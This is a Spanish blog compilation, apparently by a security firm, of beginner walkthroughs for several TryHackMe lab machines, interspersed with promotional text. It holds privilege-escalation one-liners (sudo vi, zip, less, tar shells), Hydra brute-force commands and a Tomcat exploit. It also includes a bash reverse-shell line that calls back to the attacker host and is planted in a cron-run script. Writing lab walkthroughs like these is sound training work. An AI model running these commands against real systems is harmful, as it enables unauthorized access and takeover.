Lo primero que debemos hacer es crear un directorio de trabajo para realizar el pentesting. Esto nos ayudará a mantener organizados todos los archivos y resultados generados durante el proceso.
mkdir yearoftherabbit
cd yearoftherabbit
A continuación, debemos añadir la dirección IP de la máquina objetivo al archivo de hosts para poder acceder a ella fácilmente.
sudo nano /etc/hosts
Agrega la siguiente línea al final del archivo, reemplazando <ipmaquina> con la dirección IP de la máquina objetivo:
<ipmaquina> yearoftherabbit.thm
Guarda los cambios y cierra el editor.
Paso 2: Identificación del sistema operativo de Year of the Rabbit TryHackMe
Antes de comenzar el escaneo de puertos, es útil confirmar la conectividad y determinar el sistema operativo de la máquina objetivo. Para ello, realizaremos un ping y observaremos el valor TTL en la respuesta.
ping -c 1 yearoftherabbit.thm
Si el valor TTL es 63, es probable que estemos ante una máquina Linux.
Paso 3: Escaneo de puertos
El siguiente paso es realizar un escaneo de puertos en la máquina objetivo para identificar los servicios disponibles. Utilizaremos la herramienta Nmap para esto.
-C: Realiza un escaneo con scripts de enumeración básica.
-V: Aumenta el nivel de detalles de la versión del servicio.
--min-rate 5000: Limita la velocidad de envío de paquetes para evitar la detección.
-vvv: Muestra una salida detallada.
-n: No realiza resolución de DNS.
-Pn: Ignora la detección de hosts y trata todas las direcciones IP como en línea.
-oN nmap_yearoftherabbit: Guarda la salida en un archivo llamado “nmap_yearoftherabbit”.
Este escaneo nos mostrará los puertos abiertos y los servicios correspondientes, como el FTP (puerto 21), SSH (puerto 22) y Apache (puerto 80).
Paso 4: Inspección del FTP y la web de Year of the Rabbit TryHackMe
Ahora que conocemos los puertos abiertos, podemos realizar una inspección de los directorios de la web utilizando la herramienta wfuzz. Esto nos permitirá descubrir posibles rutas y archivos interesantes.
– --h=404: Ignora las respuestas 404 (no encontradas).
-w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt: Utiliza un archivo de palabras para realizar la enumeración de directorios.
-u http://yearoftherabbit.thm:80/FUZZ: Especifica la URL objetivo y usa “FUZZ” como comodín para reemplazarlo con las palabras del archivo.
Este comando buscará directorios y archivos en la web y mostrará cualquier resultado interesante. Accedemos a el y vemos lo siguiente.
Paso 5: Investigación del directorio oculto
En el paso anterior, hemos encontrado un directorio oculto. Para obtener más información sobre este directorio, ya que nos redirige a otra página, utilizaremos la herramienta Burp Suite. Burp Suite nos permitirá interceptar y analizar el tráfico HTTP.
Abre Burp Suite e importa el certificado raíz en tu navegador siguiendo las instrucciones proporcionadas por la herramienta.
Configura tu navegador para usar el proxy de Burp Suite y visita la URL del directorio oculto encontrado en el paso anterior. Examina cuidadosamente las respuestas y los elementos presentes en la página para obtener información adicional.
Paso 6: Descarga y análisis de una imagen en Year of the Rabbit TryHackMe
En el directorio oculto, encontramos una imagen que puede contener información oculta. Descargaremos la imagen utilizando la herramienta wget.
wget http://yearoftherabbit.thm:80/imagen.jpg
Luego, analizaremos la imagen en busca de información oculta utilizando la herramienta binwalk.
binwalk imagen.jpg -e --run-as=root
Explicación de los comandos y flags utilizados:
-e: Extrae los archivos incrustados en la imagen.
--run-as=root: Ejecuta binwalk con privilegios de root para acceder a archivos restringidos.
Binwalk nos mostrará cualquier archivo oculto o información incrustada en la imagen.
Paso 7: Análisis de los archivos extraídos
Ahora que hemos extraído los archivos incrustados en la imagen, utilizaremos el comando cat para ver el contenido de cada archivo y buscar información relevante.
cat archivo1.txt
cat archivo2.txt
...
Uno de los archivos puede contener una serie de contraseñas y un usuario de FTP.
Paso 8: Guardar las contraseñas
Guardaremos las posibles contraseñas en un archivo llamado “contraseñas.txt” para su posterior uso.
nano contraseñas.txt
Copia las contraseñas encontradas en el paso anterior y péguelas en el archivo. Guarda los cambios y cierra el editor.
Paso 9: Ataque de contraseña a FTP de Year of the Rabbit TryHackMe
Utilizaremos la herramienta Hydra para realizar un ataque de fuerza bruta al servidor FTP y descubrir la contraseña.
Reemplaza <usuario_ftp> con el usuario de FTP encontrado en los pasos anteriores.
Hydra intentará diferentes contraseñas utilizando la lista proporcionada en el archivo “contraseñas.txt”.
Paso 10: Descarga y análisis de un archivo en FTP
Una vez hayas obtenido acceso al servidor FTP, descarga cualquier archivo que encuentres relevante utilizando el comando get archivo.txt. Luego, sal del servidor FTP y analiza el contenido del archivo descargado mediante el comando cat.
ftp year
oftherabbit.thm
get archivo.txt
exit
cat archivo.txt
Paso 11: Decodificación de un archivo codificado en Brainfuck
Si el archivo descargado está codificado en Brainfuck, accede al sitio web https://www.dcode.fr/brainfuck-language y pega el contenido del archivo en el campo de entrada. Luego, haz clic en “Decode” para obtener el mensaje decodificado.
Paso 12: Acceso SSH utilizando las credenciales obtenidas a Year of the Rabbit TryHackMe
Una vez hayas decodificado el archivo y obtenido las credenciales de SSH, utiliza el siguiente comando para acceder a la máquina objetivo.
ssh <usuario>@yearoftherabbit.thm
Reemplaza <usuario> con el usuario obtenido.
Paso 13: Lectura de un archivo oculto para otro usuario
Una vez hayas accedido por SSH, busca y lee el archivo oculto mencionado en el mensaje utilizando el comando cat.
cat archivo_oculto.txt
En este archivo encontrarás una nueva contraseña para otro usuario.
Paso 14: Escalada de privilegios en Year of the Rabbit TryHackMe
Sal del usuario actual utilizando el comando exit y accede nuevamente por SSH utilizando las nuevas credenciales obtenidas en el paso anterior.
ssh <otro_usuario>@yearoftherabbit.thm
Reemplaza <otro_usuario> con el usuario obtenido.
Paso 15: Escalada de privilegios con sudo en Year of the Rabbit TryHackMe
Verifica los privilegios disponibles utilizando el comando sudo -l. Observa si existe alguna oportunidad para escalar privilegios mediante el comando vi.
sudo -l
En este caso, se observa que es posible escalar privilegios mediante el comando vi.
Paso 16: Escalada de privilegios con sudo y vi en Year of the Rabbit TryHackMe
Aprovecha una vulnerabilidad en la versión de sudo para escalar privilegios ejecutando el siguiente comando:
sudo -u#-1 /usr/bin/vi user.txt
Esto permitirá ejecutar el editor vi con privilegios de root y acceder al archivo “user.txt”.
Paso 17: Obtención de acceso root
Una vez dentro del editor vi, ingresa :!/bin/sh y presiona Enter. Ahora tendrás acceso root a la máquina objetivo.
Recuerda que realizar pruebas de penetración en sistemas o redes sin permiso y autorización es ilegal. Asegúrate siempre de obtener el consentimiento del propietario del sistema o red antes de realizar cualquier actividad de pentesting.
Resumen Year of the Rabbit TryHackMe
En este manual, hemos llevado a cabo el pentesting de la máquina Year of the Rabbit de la plataforma Try Hack Me. Comenzamos preparándonos creando un directorio de trabajo y agregando la máquina objetivo al archivo de hosts.
A continuación, realizamos una identificación del sistema operativo utilizando el comando ping y observando el valor TTL. Luego, llevamos a cabo un escaneo de puertos utilizando la herramienta Nmap para descubrir los servicios y puertos abiertos en la máquina.
Realizamos una inspección de los directorios de la web utilizando la herramienta wfuzz, buscando posibles directorios ocultos. Utilizamos Burp Suite para investigar un directorio oculto y obtener más información.
Descargamos y analizamos una imagen encontrada en el directorio oculto utilizando las herramientas wget y binwalk. Exploramos los archivos extraídos y examinamos su contenido.
Guardamos las contraseñas encontradas en un archivo y utilizamos la herramienta Hydra para realizar un ataque de fuerza bruta al servidor FTP y descubrir la contraseña. Descargamos y analizamos un archivo del servidor FTP.
Decodificamos un archivo codificado en Brainfuck utilizando un sitio web especializado. Accedimos por SSH utilizando las credenciales obtenidas y leímos un archivo oculto para otro usuario.
Realizamos una escalada de privilegios aprovechando una vulnerabilidad en sudo y vi. Finalmente, obtuvimos acceso root a la máquina objetivo.
¡Únete a DCSeguridad y contáctanos hoy mismo!
DCSeguridad es una empresa líder en el campo de la seguridad informática y el pentesting. Nuestro equipo de expertos altamente calificados y con amplia experiencia está listo para ayudarte a proteger tu infraestructura digital.
Si estás interesado en fortalecer la seguridad de tu empresa, te invitamos a que te pongas en contacto con nosotros. Ofrecemos servicios personalizados y soluciones integrales para proteger tus sistemas contra posibles amenazas y vulnerabilidades.
Además, te invitamos a unirte a nuestro canal de Telegram, donde compartimos contenido exclusivo sobre seguridad informática, consejos, últimas tendencias y noticias del mundo de la ciberseguridad. Es una excelente oportunidad para mantenerte actualizado y aprender de los mejores en el campo.
En DCSeguridad, entendemos la importancia de la seguridad en la era digital y estamos comprometidos en brindarte soluciones confiables y efectivas. No escatimamos esfuerzos para asegurar la confidencialidad, integridad y disponibilidad de tu información.
¡No esperes más y protégete con DCSeguridad! Contáctanos hoy mismo y únete a nuestro canal de Telegram para acceder a un mundo de conocimiento y seguridad digital.
Recuerda que el pentesting debe realizarse siempre con permiso y autorización.
¡Bienvenido al manual de Pentesting para principiantes en TomGhost TryHackMe! En esta guía, aprenderás los pasos básicos para realizar una prueba de penetración en la máquina TomGhost de la plataforma TryHackMe. A continuación, te explicaré los comandos y herramientas utilizadas en cada paso.
Paso 1: Comprobación de la conectividad
Para comenzar, es importante comprobar la conectividad con la máquina objetivo. Ejecuta el siguiente comando en tu terminal:
ping -c 1 <ipmaquina>
Este comando envía un paquete de solicitud de eco (ping) a la dirección IP de la máquina objetivo y espera una respuesta. Si recibes una respuesta exitosa, significa que tienes conectividad con la máquina.
Paso 2: Escaneo de puertos básico
Realizaremos un escaneo de puertos básico utilizando la herramienta nmap. Ejecuta el siguiente comando:
El comando nmap se utiliza para explorar los puertos abiertos en una máquina. En este caso, estamos escaneando todos los puertos disponibles en la máquina objetivo y guardando los resultados en el archivo “nmap_tomghost_nmap_basico”.
Durante el escaneo, se identificaron los siguientes puertos abiertos y servicios correspondientes:
Puerto 22: Servicio SSH.
Puerto 53: Servicio DNS.
Puerto 8009: Desconocido.
Puerto 8080: Servicio HTTP.
Paso 3: Escaneo de puertos detallado
Ahora realizaremos un escaneo de puertos más detallado utilizando nmap. Ejecuta el siguiente comando:
Este comando realiza un escaneo exhaustivo en los puertos específicos que hemos seleccionado y guarda los resultados en el archivo “nmap_tomghost_completo”.
Durante el escaneo, se encontraron los siguientes servicios:
Puerto 22: OpenSSH 7.2p (Servicio SSH seguro).
Puerto 8080: Apache Tomcat 9.0.30 (Servidor de aplicaciones web).
Paso 4: Búsqueda de vulnerabilidades en Apache Tomcat
En este paso, buscaremos vulnerabilidades conocidas en la versión de Apache Tomcat que hemos identificado (9.0.30). Para ello, clonaremos un repositorio de GitHub que contiene un exploit específico. Ejecuta el siguiente comando:
Este comando clona el repositorio “CVE-2020-1938” desde GitHub. El exploit contenido en este repositorio nos ayudará a buscar vulnerabilidades en Apache Tomcat.
Paso 5: Preparación del exploit para su ejecución
Antes de ejecutar el exploit, debemos asegurarnos de que el archivo sea ejecutable. Utiliza el siguiente comando:
chmod u+x tomcat.py
Este comando otorga permisos de ejecución al archivo “tomcat.py”, lo que nos permitirá ejecutarlo en el siguiente paso.
Paso 6: Ejecución del exploit en Apache Tomcat
Ahora es el momento de ejecutar el exploit en Apache Tomcat utilizando el archivo “tomcat.py” que hemos preparado. Ejecuta el siguiente comando:
En este comando, reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. El exploit intentará aprovechar la vulnerabilidad en Apache Tomcat utilizando la ruta del archivo “/WEB-INF/web.xml” y el puerto “8009”.
Durante la ejecución del exploit, se mostrarán posibles credenciales de acceso a la máquina.
Paso 7: Acceso por SSH utilizando las credenciales encontradas
Ahora que tenemos posibles credenciales de acceso, podemos intentar acceder a la máquina objetivo a través de SSH. Utiliza el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Una vez que hayas accedido a la máquina, podrás explorar el directorio y encontrar dos archivos: uno con extensión “.pgp” y otro con extensión “.asc”. Descargaremos estos archivos para trabajar con ellos y descifrarlos.
Paso 8: Creación de un servidor HTTP en la máquina objetivo
Para descargar los archivos desde la máquina objetivo, necesitamos configurar un servidor HTTP en la máquina objetivo. Ejecuta el siguiente comando:
python3 -m http.server
Este comando utiliza el módulo http.server de Python para crear un servidor HTTP en la máquina objetivo. Esto nos permitirá descargar archivos desde la máquina objetivo a nuestro equipo atacante.
Paso 9: Descarga de archivos desde la máquina atacante
Ahora podemos descargar los archivos necesarios desde la máquina objetivo. Utiliza el siguiente comando:
wget <ipmaquina>:8000/archivos
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo. Este comando utiliza la herramienta wget para descargar el directorio “archivos” desde el servidor HTTP en la máquina objetivo a tu equipo atacante.
Paso 10: Desencriptación de archivos
Los archivos que hemos descargado están encriptados. Para desencriptarlos, seguiremos los siguientes pasos:
Convierte el archivo “.asc” en un formato compatible con “John the Ripper” utilizando el siguiente comando:
gpg2john tryhackme.asc > hash
Este comando convierte el archivo “tryhackme.asc” en un formato que puede ser utilizado por “John the Ripper” y guarda los resultados en el archivo “hash”.
Utiliza “John the Ripper” junto con un diccionario de contraseñas para intentar descifrar el archivo encriptado. Ejecuta el siguiente comando:
john --wordlist=/ruta/diccionario hash
Asegúrate de reemplazar “/ruta/diccionario” con la ruta correcta de tu diccionario de contraseñas.
Paso 11: Importación y desencriptación de archivos GPG
Una vez que hayas descifrado el archivo, importa la clave pública GPG desde el archivo “tryhackme.asc” a la lista de claves GPG utilizando el siguiente comando:
gpg --import tryhackme.asc
Luego, utiliza el siguiente comando para desencriptar el archivo “credential.pgp” utilizando la clave privada correspondiente:
gpg --decrypt credential.pgp
Paso 12: Acceso nuevamente por SSH con las nuevas credenciales
Ahora que tenemos las nuevas credenciales, podemos intentar acceder a la máquina objetivo nuevamente utilizando SSH. Ejecuta el siguiente comando:
ssh merlin@<ipmaquina>
Reemplaza <ipmaquina> con la dirección IP de la máquina objetivo y proporciona la contraseña correspondiente cuando se solicite.
Paso 13: Captura de la primera bandera
Una vez que hayas accedido a la máquina como usuario “merlin”, puedes capturar la primera bandera ejecutando el siguiente comando:
cat user.txt
Este comando muestra el contenido del archivo “bandera1.txt”, que contiene la primera bandera obtenida durante el acceso como usuario “merlin”.
Paso 14: Escalada de privilegios
Para realizar una escalada de privilegios, ejecuta el siguiente comando para verificar los privilegios disponibles para el usuario actual:
sudo -l
Este comando muestra los privilegios disponibles para el usuario actual y verifica si se tiene permiso para ejecutar comandos con privilegios de root. En este caso, encontramos la siguiente línea: “(root : root) NOPASSWD: /usr/bin/zip”.
Paso 15: Escalada de privilegios con “zip”
Ahora que hemos identificado una posible forma de escalada de privilegios utilizando “zip”, podemos aprovecharla. Seguiremos los siguientes pasos:
Utiliza el siguiente comando para ejecutar la escalada de privilegios:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
Este comando utiliza la vulnerabilidad en la configuración de “sudoers” para ejecutar el comando “zip” con privilegios de root. Crea un archivo temporal único y utiliza “sudo zip” para comprimir el archivo “/etc/hosts” y ejecutar un shell interactivo (“sh”) con privilegios de root.
Paso 17: Captura de la última bandera
Una vez que hayas obtenido privilegios de root, puedes capturar la última bandera ejecutando el siguiente comando:
cat root.txt
Este comando muestra el contenido del archivo “root.txt”, que contiene la última bandera obtenida como usuario root.
Resumen TomGhost TryHackMe
En resumen, hemos realizado un proceso de pentesting en la máquina “tomghost” de TryHackMe. Los pasos seguidos fueron los siguientes:
Comprobación de la conectividad con la máquina objetivo.
Escaneo de puertos básico utilizando Nmap.
Escaneo de puertos detallado para obtener información adicional sobre los servicios.
Búsqueda de vulnerabilidades en Apache Tomcat utilizando un exploit específico.
Preparación y ejecución del exploit en Apache Tomcat.
Acceso por SSH utilizando las credenciales obtenidas.
Descarga de archivos desde la máquina objetivo.
Desencriptación de archivos utilizando GPG.
Acceso nuevamente por SSH con las nuevas credenciales.
Captura de la primera bandera.
Escalada de privilegios utilizando la vulnerabilidad en “sudoers” y el comando “zip”.
Captura de la última bandera como usuario root.
Esta experiencia nos permitió adquirir conocimientos sobre el proceso de pentesting, desde la exploración y escaneo de puertos hasta la escalada de privilegios en un entorno controlado.
Recomendación de DCSeguridad
¡Te invitamos a ponerte en contacto con DCSeguridad y unirte a nuestro canal de Telegram!
DCSeguridad es una empresa líder en servicios de seguridad informática y pentesting. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu infraestructura y aplicaciones contra amenazas cibernéticas.
Te animamos a ponerte en contacto con nosotros para obtener más información sobre cómo podemos asegurar tu empresa y brindarte soluciones personalizadas. Únete a nuestro canal de Telegram para recibir las últimas actualizaciones y consejos de seguridad.
No dejes que tu empresa sea vulnerable a ataques cibernéticos. Confía en DCSeguridad para fortalecer tu seguridad y proteger tus activos digitales.
¡Contáctanos hoy mismo y mantén tu negocio seguro en el mundo digital!
¡Bienvenido a este manual de pentesting para principiantes! En este manual, te guiaré a través de los pasos esenciales para realizar un pentesting en la máquina Startup TryHackMe utilizando las siguientes herramientas: nmap, gobuster y wireshark. A lo largo del manual, explicaré el propósito de cada herramienta y los comandos utilizados. ¡Comencemos!
Paso 1: Configuración inicial de Startup TryHackMe
Primeramente, crea un directorio de trabajo para almacenar todos los archivos relacionados con el pentesting. También, agrega la dirección IP de la máquina objetivo al archivo de hosts para facilitar el acceso.
Paso 2: Comprobación de disponibilidad
Antes de comenzar con el pentesting, realiza un ping a la máquina objetivo para verificar que esté activa y lista para ser analizada.
Paso 3: Escaneo inicial de puertos
Realiza un escaneo sencillo de puertos utilizando la herramienta nmap. Ejecuta el siguiente comando:
nmap -p- ipmaquina -oN nmap_startup_inicial
Este comando te mostrará los puertos 21, 22 y 80 que están abiertos en la máquina objetivo. A continuación, explicaré brevemente para qué se utiliza cada uno de estos servicios:
21: FTP (Protocolo de Transferencia de Archivos) – Permite la transferencia de archivos.
22: SSH (Secure Shell) – Proporciona acceso seguro a la máquina a través de una conexión cifrada.
80: HTTP (Protocolo de Transferencia de Hipertexto) – Utilizado para servir páginas web.
Paso 4: Escaneo exhaustivo de puertos
Realiza un escaneo más exhaustivo de los puertos previamente identificados utilizando nmap. Ejecuta el siguiente comando:
Este comando proporcionará información detallada sobre los servicios y las vulnerabilidades potenciales presentes en los puertos identificados. Donde podemos observar que está permitido el acceso anónimo y la carga al directorio ftp.
Paso 5: Evaluación del acceso anónimo al FTP
Observaste que el acceso anónimo al FTP está permitido en la máquina objetivo. Realizaremos una evaluación más detallada descargando un archivo txt y un archivo jpg desde el FTP para su inspección. Utilizaremos el comando “get” para descargar los archivos, pero primero, debemos verificar si hay información interesante dentro de ellos.
Paso 6: Inspección del sitio web con gobuster de Startup TryHackMe
Utilizaremos la herramienta gobuster para inspeccionar el sitio web en busca de directorios ocultos. Ejecuta el siguiente comando:
Este comando buscará y mostrará los directorios y archivos ocultos presentes en el sitio web. Y aquí observamos que el directorio ftp al que podemos subir un archivo lo lista, por lo que podemos subir y ejecutar un php-reverse-shell.
Paso 7: Acceso al FTP y carga de una shell reversa en Startup TryHackMe
Accedemos al FTP para proceder a realizar una PHP Reverse Shell. Creamos un archivo llamado shell.php con el contenido de este enlace, recuerda cambiar la ip y el puerto de escucha. Luego, accedemos nuevamente al FTP y utilizamos el comando “put shell.php” para subir el archivo shell.php al directorio FTP. Verificamos que el archivo se haya cargado correctamente en el directorio.
Paso 8: Ganar acceso utilizando la shell reversa
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 1234
Luego, desde nuestro navegador web, accedemos a http://ipmaquina/files/ftp/archivo.php para establecer el primer acceso utilizando la shell reversa. Aquí es donde obtenemos la primera bandera.
Paso 9: Configuración de un servidor HTTP en la máquina objetivo
Dentro de la máquina, revisando los archivos y carpetas, comprobamos que hay un archivo de wireshark que nos puede dar información. Montamos un servidor HTTP en la máquina objetivo ejecutando el siguiente comando:
python -m http.server
Esto nos permitirá descargar archivos desde la máquina atacante. También podemos copiar el archivo de Wireshark a la carpeta /ftp para descargarlo más tarde.
Paso 10: Descarga e inspección del archivo de Wireshark
Desde nuestra máquina atacante, ejecutamos el siguiente comando:
wget http://ipmaquinaatacada:8000/archivo
Esto descargará el archivo desde el servidor HTTP en la máquina objetivo. Luego, podemos inspeccionar el archivo utilizando Wireshark para analizar el tráfico de red. Podemos encontrar ataques con shell reversas que se encuentran en el puerto 4444. Al analizar los paquetes, encontramos una posible contraseña que podemos probar con el usuario descubierto en la carpeta home.
Paso 11: Acceso por SSH utilizando el usuario “lennie”
Accedemos por SSH a la máquina objetivo utilizando el usuario “lennie”. Esto se puede hacer utilizando el comando “ssh usuario@ipmaquina”. Navegando por los directorios, encontramos un archivo .sh que si lo inspeccionamos, llama a otro archivo .sh, al revisar los permisos, vemos que podemos editarlo para crear una shell reversa, lo abrimos y en la segunda linea añadimos lo siguiente: bash -i >& dev/tcp/ipvpn/443 0>&1. Guardamos los cambios y ejecutamos el comando “crontab -e” para configurar un cron que se ejecute cada minuto.
Paso 12: Obtención de acceso root
Agregamos la siguiente línea al archivo crontab:
* * * * * /bin/bash /etc/print.sh
Abrimos una ventana de comandos y ejecutamos el siguiente comando:
nc -nvlp 443
Esperamos a obtener acceso root a través de la shell reversa. Una vez dentro, buscamos la última bandera y consideramos la máquina completamente hackeada.
Resumen Startup TryHackMe
En resumen, hemos realizado un pentesting paso a paso utilizando diversas herramientas. Comenzamos con un escaneo inicial de puertos utilizando nmap y luego realizamos un escaneo más exhaustivo. Evaluamos el acceso anónimo al FTP y luego inspeccionamos el sitio web utilizando gobuster. Ganamos acceso a la máquina objetivo utilizando una shell reversa y analizamos el tráfico de red utilizando Wireshark. Posteriormente, obtuvimos acceso al usuario “lennie” y escalamos privilegios para obtener acceso root.
Confía en DCSeguridad
Si necesitas servicios de pentesting y seguridad informática, te recomendamos contactar a nuestra empresa, DCSeguridad. Nuestro equipo de expertos en seguridad puede ayudarte a proteger tu negocio y garantizar la integridad de tus sistemas. Únete a nuestro canal de Telegram para recibir actualizaciones y consejos de seguridad. ¡Estamos aquí para ayudarte!
En este artículo, te guiaré a través de los pasos fundamentales para realizar un pentesting en la máquina Brooklyn TryHackMe. Este manual está especialmente diseñado para principiantes que se están iniciando en el mundo del pentesting. Aprenderás cómo realizar un escaneo de puertos, enumerar servicios, obtener acceso a un servidor FTP, realizar un ataque de diccionario y escalar privilegios. ¡Comencemos!
Paso 1: Preparación
Antes de empezar, asegúrate de tener un directorio de trabajo en tu máquina local para organizar los archivos relacionados con la máquina objetivo. Puedes crearlo utilizando el siguiente comando:
mkdir directorio_maquina
Además, para facilitar el acceso a la máquina objetivo, añadiremos su dirección IP al archivo hosts de tu sistema operativo. Abre el archivo con privilegios de administrador utilizando el siguiente comando:
sudo nano /etc/hosts
Agrega una nueva línea en el siguiente formato: <ip_maquina> nombre_maquina. Guarda y cierra el archivo.
Paso 2: Verificación de la Conexión
Para verificar la conectividad con la máquina objetivo, realizaremos un ping a su dirección IP. Utiliza el siguiente comando:
ping -c 1 <ip_maquina>
Verifica el TTL en la respuesta del ping, ya que nos proporcionará información sobre el sistema operativo de la máquina.
Paso 3: Escaneo Inicial de Puertos
Realizaremos un escaneo inicial de puertos abiertos en la máquina objetivo utilizando la herramienta Nmap. Ejecuta el siguiente comando:
nmap -p- <ip_maquina> -oN nmap_inicial
Este comando escaneará todos los puertos de la máquina y guardará los resultados en el archivo “nmap_inicial”. Observa los puertos abiertos encontrados para continuar con el análisis.
Paso 4: Escaneo Exhaustivo de Puertos
Realizaremos un escaneo más detallado de los puertos encontrados en el paso anterior utilizando Nmap. Ejecuta el siguiente comando:
Este comando escaneará los puertos 21, 22 y 80 utilizando distintas técnicas de escaneo y enumeración de servicios. Los resultados se guardarán en el archivo “nmap_completo”. Observa los servicios identificados en los puertos para obtener más información sobre ellos.
Paso 5: Acceso al Servidor FTP de Brooklyn TryHackMe
Accederemos al servidor FTP en la máquina objetivo utilizando el usuario anónimo y descargaremos un archivo a tu directorio de trabajo. Sigue estos pasos:
Conéctate al servidor FTP utilizando el siguiente comando:
ftp <ip_maquina>
Ingresa “anonymous” como nombre de usuario y presiona Enter (sin contraseña).
Navega hasta el directorio donde se encuentra el archivo que deseas descargar.
Utiliza el comando get archivo.txt para descargar el archivo al directorio local de tu máquina.
Cierra la conexión FTP.
Paso 6: Ataque de Diccionario en el Servicio SSH
Analizaremos el contenido del archivo descargado en el paso anterior para obtener un posible nombre de usuario. Luego, realizaremos un ataque de diccionario en el servicio SSH utilizando la herramienta Hydra. Sigue estos pasos:
Abre el archivo descargado utilizando el siguiente comando:
cat archivo.txt
Examina el contenido del archivo para encontrar un posible nombre de usuario (por ejemplo, “jake”).
Ejecuta un ataque de diccionario utilizando Hydra. Utiliza el siguiente comando como ejemplo, pero asegúrate de reemplazar <ruta_diccionario> con la ubicación real del diccionario en tu máquina:
Copia el archivo /etc/passwd a tu directorio de trabajo con el siguiente comando:
cp /etc/passwd privilege_escalation.txt
Ejecuta el comando “less” con privilegios de sudo y carga el archivo /etc/passwd con el siguiente comando:
sudo less privilege_escalation.txt
Dentro de “less”, ingresa !/bin/sh y presiona Enter. Esto ejecutará una shell interactiva con privilegios de root.
Una vez que obtengas acceso de root, podrás buscar la segunda bandera y realizar cualquier otra actividad necesaria.
Resumen Brooklyn TryHackMe
En este manual, hemos realizado los siguientes pasos de pentesting en la máquina Brooklyn de TryHackMe:
Preparación del entorno, creando un directorio de trabajo y configurando el archivo hosts.
Verificación de la conectividad con la máquina objetivo a través de un ping.
Escaneo inicial de puertos utilizando Nmap.
Escaneo exhaustivo de puertos utilizando Nmap y obtención de información sobre los servicios.
Acceso al servidor FTP y descarga de un archivo.
Análisis del archivo descargado y realización de un ataque de diccionario en el servicio SSH utilizando Hydra.
Escalada de privilegios utilizando el exploit “sudo-less” para el comando “less”.
Hemos tenido éxito en nuestro objetivo de realizar un pentesting básico en la máquina Brooklyn de TryHackMe. A través de estos pasos, hemos adquirido conocimientos sobre escaneo de puertos, enumeración de servicios, acceso a servicios y escalada de privilegios.
¡Contáctanos y Únete a Nuestro Canal de Telegram!
Si deseas más información sobre nuestros servicios de seguridad informática o tienes preguntas adicionales, te invitamos a contactar a DCSeguridad. Puedes visitar nuestro sitio web para obtener más detalles y unirte a nuestro canal de Telegram. Estaremos encantados de ayudarte y proporcionarte soporte en tus proyectos de seguridad.
Recuerda que el pentesting debe llevarse a cabo de manera ética y con el permiso del propietario del sistema objetivo.
Hoy os traemos la resolucion de la máquina Bounty Hacker TryHackMe (https://tryhackme.com/room/cowboyhacker) paso a paso, hemos eliminado contraseñas y banderas.
Antes de comenzar con la configuración de la máquina, es altamente recomendable realizar una actualización completa del sistema operativo Linux. Esto se puede lograr ejecutando el siguiente comando en la terminal:
apt update && apt upgrade
Este comando actualizará todas las herramientas y paquetes del sistema a su versión más reciente, lo que garantiza que estemos utilizando las versiones más seguras y actualizadas.
Paso 1: Crear un directorio de trabajo para Bounty Hacker TryHackMe
Después de completar la actualización, procedemos a crear un directorio de trabajo para nuestra máquina. Esto nos ayudará a mantener los archivos y herramientas organizados durante el proceso de análisis y exploración. Puede utilizar el siguiente comando para crear un directorio:
mkdir directorio_trabajo
Paso 2: Verificar la disponibilidad de la máquina objetivo
Es importante verificar si la máquina objetivo está en línea y disponible antes de continuar. Podemos hacer esto usando el comando ping y especificando la dirección IP de la máquina:
ping -c 1 <ipmaquina>
Si recibimos una respuesta exitosa, significa que la máquina está levantada y lista para ser analizada.
Paso 3: Escaneo inicial con Nmap de Bounty Hacker TryHackMe
A continuación, realizaremos un escaneo inicial de la máquina utilizando la herramienta Nmap. Esto nos permitirá identificar los puertos abiertos y obtener información sobre los servicios que se están ejecutando en la máquina. El comando para realizar el escaneo con Nmap es el siguiente:
nmap -A <ipmaquina> -oN nmap_bounty_inicial
Una vez completado el escaneo, revisaremos los resultados para identificar los puertos abiertos. En este caso, se encontraron los puertos 21, 22 y 80 abiertos en la máquina objetivo.
Paso 4: Acceso al FTP y descarga de archivos
Como se detectó que el servicio FTP permite el acceso anónimo, procederemos a acceder a la máquina y descargar los archivos que se encuentren disponibles. Esto se logra utilizando un cliente FTP y proporcionando la dirección IP de la máquina. Una vez conectado, podemos utilizar los comandos ls para enumerar los archivos y get para descargarlos.
Paso 5: Ataque de fuerza bruta utilizando Hydra
Al examinar los archivos descargados, se identifica que uno de ellos parece ser una lista de contraseñas. Aprovecharemos esta información para realizar un ataque de fuerza bruta utilizando la herramienta Hydra y el diccionario de contraseñas encontrado.
El siguiente comando muestra cómo utilizar Hydra para realizar un ataque de fuerza bruta contra el servicio SSH en la máquina objetivo:
hydra -l usuario -P locks.txt <ipmaquina> ssh
Este comando intentará iniciar sesión en el servicio SSH utilizando el nombre de usuario “usuario” y las contraseñas del archivo “locks.txt”. Si se encuentra una coincidencia exitosa, Hydra mostrará la contraseña y podremos acceder al sistema SSH de la máquina.
Paso 6: Acceso por SSH
Una vez obtenida la contraseña, podemos iniciar sesión por SSH en la máquina objetivo utilizando el siguiente comando:
ssh usuario@<ipmaquina>
Reemplaza `<ipmaquina>` con la dirección IP real de la máquina objetivo y proporciona la contraseña obtenida previamente.
Paso 7: Exploración de escalada de privilegios
Después de acceder al sistema, nuestro objetivo será encontrar las banderas que se encuentren ocultas en la máquina. Una vez que se obtenga la primera bandera, es importante evaluar las posibilidades de escalada de privilegios en el sistema.
Para determinar si hay alguna posibilidad de escalada de privilegios, ejecutaremos el siguiente comando:
sudo -l
Este comando mostrará los privilegios y comandos disponibles para el usuario actual. Si se encuentra alguna configuración especial o se identifica una posible vulnerabilidad, se debe investigar más para explorar dicha escalada de privilegios.
Paso 8: Escalada de privilegios utilizando GTFOBins
En este caso, al ejecutar sudo -l, se observa que se permite ejecutar el comando /bin/tar con privilegios de root. Esto nos da una oportunidad para obtener acceso como superusuario utilizando una técnica conocida como “GTFOBins”. Puedes encontrar más información sobre esta técnica en el enlace: https://gtfobins.github.io/gtfobins/tar/#sudo
A continuación, ejecutaremos el siguiente comando para aprovechar la escalada de privilegios utilizando tar:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
